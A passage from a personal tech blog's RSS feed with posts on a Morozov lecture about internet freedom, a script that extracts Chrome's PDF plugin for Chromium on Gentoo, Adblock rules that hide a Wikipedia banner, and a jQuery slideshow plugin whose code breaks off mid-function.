Morozov made sure to remind us that our own government undoubtedly has similar interests.</p>
<p>Just as he mentioned this last fact, the girl next to me logged onto Facebook and updated her status with an enthusiastic blurb about what an honor it was to see Morozov in person, most likely feeling particularly witty at her own self-aware irony. But it is a real issue, implored Morozov, while looking directly at each of the fifteen others wielding social technology as he spoke (which, of course, were exclusively iPhones and Macbooks, whose users never seem to pass up an opportunity for hyper-public self-consciously aware doubly-ironic gestures). The US is pushing a diplomatic agenda of Internet freedom, while at the same time actively spying on its citizens at home. Their programs for promoting freedom through technology are also not well thought-out. The US designed a program for Mexico whereby witnesses of drug violence could send a text message to a special number to report the crime. This plan received wide positive media coverage, when in reality, no actual cellphone carriers in Mexico were willing to support the service, because they were unable to ensure the anonymity of the messages. The carriers were aware that criminals could easily intercept these messages, a small fact the US government and the media chose to ignore. In general, the US media, according to Morozov, lacks the “critical rigor” to speak sensibly about the real effects of the Internet. Last year’s protests in Iran received intense media coverage for being a “Twitter Revolution”, when in reality, there were only sixty tweeters located in Iran. The rest of the tens of thousands of tweets were generated by media coverage.</p>
<p>We all left feeling slightly dejected that our treasured way of wasting time might possibly be responsible for the continuation of authoritarianism around the world. On the elevator downstairs, I looked up at a depressed crew of journalism PhD students and gleefully asked, “So are you all going to tweet about it?” I received nothing but double-death-stares, until the doors opened and one particularly embarrassed girl murmured, “I tweeted during the lecture. I didn’t know what else to do. I had to.”</p>
<p>On the same day, Twitter was credited as being an <a href="http://yro.slashdot.org/story/11/01/25/2223220/Tens-of-Thousands-Protest-In-Cairo-Twitter-Blocked" onclick="pageTracker._trackPageview('/outgoing/yro.slashdot.org/story/11/01/25/2223220/Tens-of-Thousands-Protest-In-Cairo-Twitter-Blocked?referer=');">enabler of massive demonstrations in Cairo</a>. The following day, <a href="http://www.net-security.org/secworld.php?id=10493" onclick="pageTracker._trackPageview('/outgoing/www.net-security.org/secworld.php?id=10493&amp;referer=');">Mark Zuckerberg’s Facebook was hacked</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/428#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=428" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/428/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using libPDF with Chromium on Linux</title>
		<link>http://blog.zx2c4.com/424</link>
		<comments>http://blog.zx2c4.com/424#comments</comments>
		<pubDate>Mon, 17 Jan 2011 23:07:55 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[chromium]]></category>
		<category><![CDATA[ebuild]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=424</guid>
		<description><![CDATA[I build my own Chromium using Gentoo&#8216;s ebuild. The problem is that Google&#8217;s great PDF plugin is not open source, so it doesn&#8217;t come with Chromium, which means I need to extract it from the binary builds of Chrome each time I upgrade. Here&#8217;s my ugly shell script for doing so: $ cat latestlibpdf.sh #!/bin/sh [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/424#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=424" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I build my own <a href="http://www.chromium.org/" onclick="pageTracker._trackPageview('/outgoing/www.chromium.org/?referer=');">Chromium</a> using <a href="http://www.gentoo.org" onclick="pageTracker._trackPageview('/outgoing/www.gentoo.org?referer=');">Gentoo</a>&#8216;s <a href="http://en.wikipedia.org/wiki/Ebuild" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Ebuild?referer=');">ebuild</a>. The problem is that Google&#8217;s <a href="http://blog.chromium.org/2010/06/bringing-improved-pdf-support-to-google.html" onclick="pageTracker._trackPageview('/outgoing/blog.chromium.org/2010/06/bringing-improved-pdf-support-to-google.html?referer=');">great PDF plugin</a> is not open source, so it doesn&#8217;t come with Chromium, which means I need to extract it from the <a href="http://www.google.com/chrome" onclick="pageTracker._trackPageview('/outgoing/www.google.com/chrome?referer=');">binary builds of Chrome</a> each time I upgrade. Here&#8217;s my ugly shell script for doing so:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> latestlibpdf.sh 
<span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>chromepdfscratch
<span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>chromepdfscratch
<span style="color: #7a0874; font-weight: bold;">pushd</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>chromepdfscratch
<span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>dl.google.com<span style="color: #000000; font-weight: bold;">/</span>linux<span style="color: #000000; font-weight: bold;">/</span>direct<span style="color: #000000; font-weight: bold;">/</span>google-chrome-unstable_current_amd64.deb
<span style="color: #c20cb9; font-weight: bold;">ar</span> <span style="color: #660033;">-x</span> google-chrome-unstable_current_amd64.deb
<span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-xJf</span> data.tar.lzma
<span style="color: #7a0874; font-weight: bold;">popd</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>chromepdfscratch<span style="color: #000000; font-weight: bold;">/</span>opt<span style="color: #000000; font-weight: bold;">/</span>google<span style="color: #000000; font-weight: bold;">/</span>chrome<span style="color: #000000; font-weight: bold;">/</span>libpdf.so <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>chromium-browser<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chown</span> root:root <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>chromium-browser<span style="color: #000000; font-weight: bold;">/</span>libpdf.so
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">chmod</span> <span style="color: #000000;">644</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>chromium-browser<span style="color: #000000; font-weight: bold;">/</span>libpdf.so
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #660033;">-rf</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>chromepdfscratch</pre></div></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/424#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=424" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/424/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Wikipedia Adblock Filter</title>
		<link>http://blog.zx2c4.com/386</link>
		<comments>http://blog.zx2c4.com/386#comments</comments>
		<pubDate>Sat, 04 Dec 2010 20:49:04 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[adblock]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[wikipedia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=386</guid>
		<description><![CDATA[Do you love Wikipedia but hate Jimmy Wales&#8217; infuriating grin? Add this filter to your Adblock filter list and resume clicking-and-clicking-and-clicking in peace: &#124;&#124;wikipedia.org/w/index.php?title=*:BannerController wikipedia.org##&#91;id^=&#34;EditorBanner&#34;&#93; The first rule blocks the javascript loader, and the second rule blocks the html stub. Either one will effectively block the Wikipedia banner. Here&#8217;s what it looks like with Chrome [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/386#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=386" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zx2c4.com/wp-content/uploads/2010/12/jimmyboy.png" alt="" title="Farewell Jimbo" width="400" height="96" class="aligncenter size-full wp-image-389" /></p>
<p>Do you love <a href="http://www.wikipedia.org" onclick="pageTracker._trackPageview('/outgoing/www.wikipedia.org?referer=');">Wikipedia</a> but hate <a href="http://en.wikipedia.org/wiki/Jimmy_Wales" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Jimmy_Wales?referer=');">Jimmy Wales</a>&#8217; infuriating grin? Add this filter to your <a target="_blank" href="http://adblockplus.org/" onclick="pageTracker._trackPageview('/outgoing/adblockplus.org/?referer=');">Adblock</a> <a target="_blank" href="http://adblockplus.org/en/filters" onclick="pageTracker._trackPageview('/outgoing/adblockplus.org/en/filters?referer=');">filter list</a> and resume clicking-and-clicking-and-clicking in peace:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">||wikipedia.org/w/index.php?title<span style="color: #00AA00;">=*</span><span style="color: #3333ff;">:BannerController
</span>wikipedia<span style="color: #6666ff;">.org</span>##<span style="color: #00AA00;">&#91;</span>id<span style="color: #00AA00;">^=</span><span style="color: #ff0000;">&quot;EditorBanner&quot;</span><span style="color: #00AA00;">&#93;</span></pre></div></div>

<p>The first rule blocks the javascript loader, and the second rule blocks the html stub. Either one will effectively block the Wikipedia banner.</p>
<p>Here&#8217;s what it looks like with <a href="https://chrome.google.com/extensions/detail/gighmmpiobklfepjocnamgkkbiglidom" onclick="pageTracker._trackPageview('/outgoing/chrome.google.com/extensions/detail/gighmmpiobklfepjocnamgkkbiglidom?referer=');">Chrome Adblock</a>:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2010/12/chromeadblockwikipedia.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2010/12/chromeadblockwikipedia-450x337.png" alt="" title="Adblock in Chrome - Wikipedia Banner" width="450" height="337" class="aligncenter size-medium wp-image-398" /></a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/386#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=386" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/386/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>New Landing Pages</title>
		<link>http://blog.zx2c4.com/373</link>
		<comments>http://blog.zx2c4.com/373#comments</comments>
		<pubDate>Sat, 16 Oct 2010 10:42:12 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[canvas]]></category>
		<category><![CDATA[cgi]]></category>
		<category><![CDATA[CGit]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Gitolite]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[json]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[makefile]]></category>
		<category><![CDATA[shell script]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=373</guid>
		<description><![CDATA[I&#8217;ve written new landing pages for jasondonenfeld.com and zx2c4.com, taking my first plunge into the wonderfully easy world of jQuery. I&#8217;m also now separating the content of the two domains &#8212; jasondonenfeld.com for personal things and zx2c4.com for geek things. The only thing missing in this area is moving this blog over to zx2c4.com. Update [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/373#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=373" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve written new landing pages for <a href="http://www.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/www.jasondonenfeld.com?referer=');">jasondonenfeld.com</a> and <a href="http://www.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/www.zx2c4.com?referer=');">zx2c4.com</a>, taking my first plunge into the wonderfully easy world of jQuery. I&#8217;m also now separating the content of the two domains &#8212; <a href="http://www.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/www.jasondonenfeld.com?referer=');">jasondonenfeld.com</a> for personal things and <a href="http://www.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/www.zx2c4.com?referer=');">zx2c4.com</a> for geek things. The only thing missing in this area is moving this blog over to <a href="http://www.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/www.zx2c4.com?referer=');">zx2c4.com</a>. <b>Update 12/5/10: Moved to blog.zx2c4.com.</b></p>
<p>After sticking exclusively with straight-up javascript for years and years (it was actually my first programming language), and struggling with the DOM and all the various browser quirks, I finally caved in and tried out jQuery. It&#8217;s awfully nice, though it seems to encourage a few design patterns that might not always be optimal.</p>
<p><a href="http://www.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/www.jasondonenfeld.com?referer=');">jasondonenfeld.com</a> pulls images via AJAX from my zenphoto installation on <a href="http://photos.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/photos.jasondonenfeld.com?referer=');">photos.jasondonenfeld.com</a>. It also has a small list of various recordings I had laying around my hard drive, playable using HTML5 or, as a fall-back, flash, implemented using the <a href="http://www.happyworm.com/jquery/jplayer/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/www.happyworm.com/jquery/jplayer/?referer=');">jPlayer plugin</a> for jQuery, heavily modified. The background smoothly transitions through a series of images.</p>
<p><a href="http://www.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/www.jasondonenfeld.com?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2010/10/jasondonenfelddotcom.png" alt="" title="The New JasonDonenfeld.com" width="800" height="485" class="aligncenter size-full wp-image-375" /></a></p>
<p>To do the fading, I wrote my first jQuery plugin, fadeshow:</p>
<div style="overflow:auto;height:25em">

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        $.<span style="color: #660066;">fn</span>.<span style="color: #660066;">fadeShow</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>options<span style="color: #339933;">,</span> images<span style="color: #339933;">,</span> changeCallback<span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
                <span style="color: #003366; font-weight: bold;">var</span> self <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span>
&nbsp;
                self.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;overflow&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;hidden&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">shuffle</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #003366; font-weight: bold;">var</span> index <span style="color: #339933;">=</span> images.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>index<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                <span style="color: #003366; font-weight: bold;">var</span> random <span style="color: #339933;">=</span> Math.<span style="color: #660066;">floor</span><span style="color: #009900;">&#40;</span>Math.<span style="color: #660066;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> index<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                <span style="color: #003366; font-weight: bold;">var</span> old <span style="color: #339933;">=</span> images<span style="color: #009900;">&#91;</span><span style="color: #339933;">--</span>index<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                                images<span style="color: #009900;">&#91;</span>index<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> images<span style="color: #009900;">&#91;</span>random<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                                images<span style="color: #009900;">&#91;</span>random<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> old<span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>options.<span style="color: #660066;">fadeTime</span> <span style="color: #339933;">||</span> options.<span style="color: #660066;">fadeTime</span> <span style="color: #339933;">&lt;=</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>
                        options.<span style="color: #660066;">fadeTime</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">1000</span><span style="color: #339933;">;</span>
                <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>options.<span style="color: #660066;">imageTime</span> <span style="color: #339933;">||</span> options.<span style="color: #660066;">imageTime</span> <span style="color: #339933;">&lt;=</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>
                        options.<span style="color: #660066;">imageTime</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">4000</span><span style="color: #339933;">;</span>
&nbsp;
                self.<span style="color: #660066;">currentImage</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #003366; font-weight: bold;">var</span> sizeToRatio <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>image.<span style="color: #660066;">ratio</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
&nbsp;
                        <span style="color: #003366; font-weight: bold;">var</span> height<span style="color: #339933;">,</span> width<span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>image.<span style="color: #660066;">hasCompleted</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>self.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> self.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> image.<span style="color: #660066;">ratio</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                        image.<span style="color: #660066;">width</span> <span style="color: #339933;">=</span> self.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                        image.<span style="color: #660066;">height</span> <span style="color: #339933;">=</span> self.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> image.<span style="color: #660066;">ratio</span><span style="color: #339933;">;</span>
                                <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
                                        image.<span style="color: #660066;">height</span> <span style="color: #339933;">=</span> self.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                        image.<span style="color: #660066;">width</span> <span style="color: #339933;">=</span> self.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> image.<span style="color: #660066;">ratio</span><span style="color: #339933;">;</span>
                                <span style="color: #009900;">&#125;</span>
                                height <span style="color: #339933;">=</span> image.<span style="color: #660066;">height</span><span style="color: #339933;">;</span>
                                width <span style="color: #339933;">=</span> image.<span style="color: #660066;">width</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
                                height <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                width <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>self.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> self.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> image.<span style="color: #660066;">ratio</span><span style="color: #009900;">&#41;</span>
                                $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;width&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;100%&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;height&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;auto&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">else</span>
                                $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;height&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;100%&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;width&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;auto&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;top&quot;</span><span style="color: #339933;">,</span> Math.<span style="color: #660066;">min</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span>self.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> height<span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;px&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;left&quot;</span><span style="color: #339933;">,</span> Math.<span style="color: #660066;">min</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span>self.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> width<span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;px&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
&nbsp;
                <span style="color: #003366; font-weight: bold;">var</span> establishNaturalSize <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">naturalHeight</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">naturalWidth</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
                        <span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Image<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        i.<span style="color: #000066;">onload</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                image.<span style="color: #660066;">naturalHeight</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">height</span><span style="color: #339933;">;</span>
                                image.<span style="color: #660066;">naturalWidth</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">width</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        i.<span style="color: #660066;">src</span> <span style="color: #339933;">=</span> image.<span style="color: #660066;">src</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #003366; font-weight: bold;">var</span> imageLoadSetRatio <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        establishNaturalSize<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">ratio</span> <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">width</span> <span style="color: #339933;">/</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">height</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">hasCompleted</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span>
                        sizeToRatio<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
                <span style="color: #003366; font-weight: bold;">var</span> imageLoad <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        establishNaturalSize<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">hasCompleted</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
                <span style="color: #003366; font-weight: bold;">var</span> functionWithTrigger <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>theFunction<span style="color: #339933;">,</span> needsTrigger<span style="color: #339933;">,</span> triggerImage<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
